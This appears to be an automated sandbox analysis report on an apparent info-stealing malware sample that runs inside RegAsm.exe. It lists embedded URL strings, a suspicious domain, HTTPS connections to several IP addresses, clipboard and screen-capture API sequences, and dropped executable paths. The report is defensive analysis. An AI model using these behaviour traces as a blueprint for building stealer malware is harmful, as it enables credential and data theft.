Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: EGIIJD.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: EGIIJD.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: FHCGCA.3.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/:
Source: FHCGCA.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/JDHIECAAFH
Source: FHCGCA.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: FHCGCA.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: FHCGCA.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: FHCGCA.3.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RegAsm.exe, 00000003.00000002.3114559493.0000000019F0C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: FHCGCA.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: MFDBG.exe, 00000008.00000002.4507693462.00000000022E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/t

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.224:443 -> 192.168.2.5:49762 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

13_2_00437DE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_00437DE0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

13_2_00437DE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00411F55

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 393216
Source: EBGDHJECFC.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 357376

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C1AB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AB8C0 rand_s,NtQueryVirtualMemory,	3_2_6C1AB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C1AB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C14F280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D903	3_2_0042D903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D193	3_2_0042D193
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C43C	3_2_0041C43C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004194D4	3_2_004194D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DCEB	3_2_0042DCEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CCFE	3_2_0042CCFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D531	3_2_0042D531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B6DC	3_2_0041B6DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1435A0	3_2_6C1435A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C185C10	3_2_6C185C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C192C10	3_2_6C192C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1BAC00	3_2_6C1BAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B542B	3_2_6C1B542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B545C	3_2_6C1B545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C155440	3_2_6C155440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C156C80	3_2_6C156C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A34A0	3_2_6C1A34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AC4A0	3_2_6C1AC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16D4D0	3_2_6C16D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1564C0	3_2_6C1564C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C186CF0	3_2_6C186CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14D4E0	3_2_6C14D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C170512	3_2_6C170512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16ED10	3_2_6C16ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15FD00	3_2_6C15FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C180DD0	3_2_6C180DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A85F0	3_2_6C1A85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C187E10	3_2_6C187E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C195600	3_2_6C195600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A9E30	3_2_6C1A9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C169E50	3_2_6C169E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C183E50	3_2_6C183E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C164640	3_2_6C164640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C192E4E	3_2_6C192E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14C670	3_2_6C14C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B6E63	3_2_6C1B6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C165E90	3_2_6C165E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1AE680	3_2_6C1AE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A4EA0	3_2_6C1A4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14BEF0	3_2_6C14BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15FEF0	3_2_6C15FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B76E3	3_2_6C1B76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C187710	3_2_6C187710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C159F00	3_2_6C159F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1977A0	3_2_6C1977A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C176FF0	3_2_6C176FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14DFE0	3_2_6C14DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C157810	3_2_6C157810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C18B820	3_2_6C18B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C194820	3_2_6C194820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C168850	3_2_6C168850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16D850	3_2_6C16D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C18F070	3_2_6C18F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1760A0	3_2_6C1760A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B50C7	3_2_6C1B50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16C0E0	3_2_6C16C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1858E0	3_2_6C1858E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C16A940	3_2_6C16A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C19B970	3_2_6C19B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1BB170	3_2_6C1BB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15D960	3_2_6C15D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C185190	3_2_6C185190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1A2990	3_2_6C1A2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C17D9B0	3_2_6C17D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14C9A0	3_2_6C14C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C189A60	3_2_6C189A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1BBA90	3_2_6C1BBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15CAB0	3_2_6C15CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B2AB0	3_2_6C1B2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1422A0	3_2_6C1422A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C174AA0	3_2_6C174AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C188AC0	3_2_6C188AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C161AF0	3_2_6C161AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C18E2F0	3_2_6C18E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C18D320	3_2_6C18D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C145340	3_2_6C145340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C15C370	3_2_6C15C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C14F380	3_2_6C14F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1B53C8	3_2_6C1B53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2CAC30	3_2_6C2CAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2B6C00	3_2_6C2B6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1FAC60	3_2_6C1FAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1EECC0	3_2_6C1EECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C24ECD0	3_2_6C24ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C378D20	3_2_6C378D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2BED70	3_2_6C2BED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C31AD50	3_2_6C31AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1F4DB0	3_2_6C1F4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C286D90	3_2_6C286D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C37CDC0	3_2_6C37CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2D0E20	3_2_6C2D0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C28EE70	3_2_6C28EE70
Source: C:\ProgramData\KKEBKJJDGH.exe	Code function: 7_2_02830E48	7_2_02830E48
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 8_2_009728B9	8_2_009728B9
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 8_2_00976AE1	8_2_00976AE1
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 8_2_00970E48	8_2_00970E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040F870	13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00401000	13_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040A0C0	13_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040E080	13_2_0040E080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00415081	13_2_00415081
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040B150	13_2_0040B150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00431167	13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0044A120	13_2_0044A120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00409269	13_2_00409269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004082A0	13_2_004082A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0043F2AC	13_2_0043F2AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004362B0	13_2_004362B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00401379	13_2_00401379
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004483F0	13_2_004483F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004013BC	13_2_004013BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00409442	13_2_00409442
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0042D4B0	13_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00436560	13_2_00436560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0042F5D0	13_2_0042F5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004015DE	13_2_004015DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040A5E0	13_2_0040A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0042C5E3	13_2_0042C5E3
